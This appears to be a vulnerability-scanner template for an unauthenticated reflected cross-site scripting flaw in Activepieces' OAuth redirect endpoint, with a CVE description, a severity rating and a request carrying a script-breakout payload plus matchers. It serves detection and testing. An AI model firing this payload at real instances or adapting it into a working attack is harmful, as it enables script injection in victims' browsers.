id: CVE-2026-73084

info:
  name: "Activepieces - Reflected Cross-Site Scripting"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    Activepieces prior to 0.83.0 reflects the user-supplied "code" query parameter of the /redirect
    OAuth callback endpoint into an inline <script> block via JSON.stringify. JSON.stringify escapes
    quotes but does not neutralise a "</script>" sequence, so an unauthenticated attacker can supply a
    crafted code value that closes the script element early and injects arbitrary HTML/JavaScript which
    executes in the Activepieces origin when a victim opens the link.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-73084&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=activepieces&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-73084
    cwe-id: CWE-79
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,activepieces,xss,unauth
http:
  - method: GET
    path:
      - "{{BaseURL}}/redirect?code=vedasx%3C%2Fscript%3E%3Csvg%20onload%3Dalert(1)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><svg onload=alert(1)>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200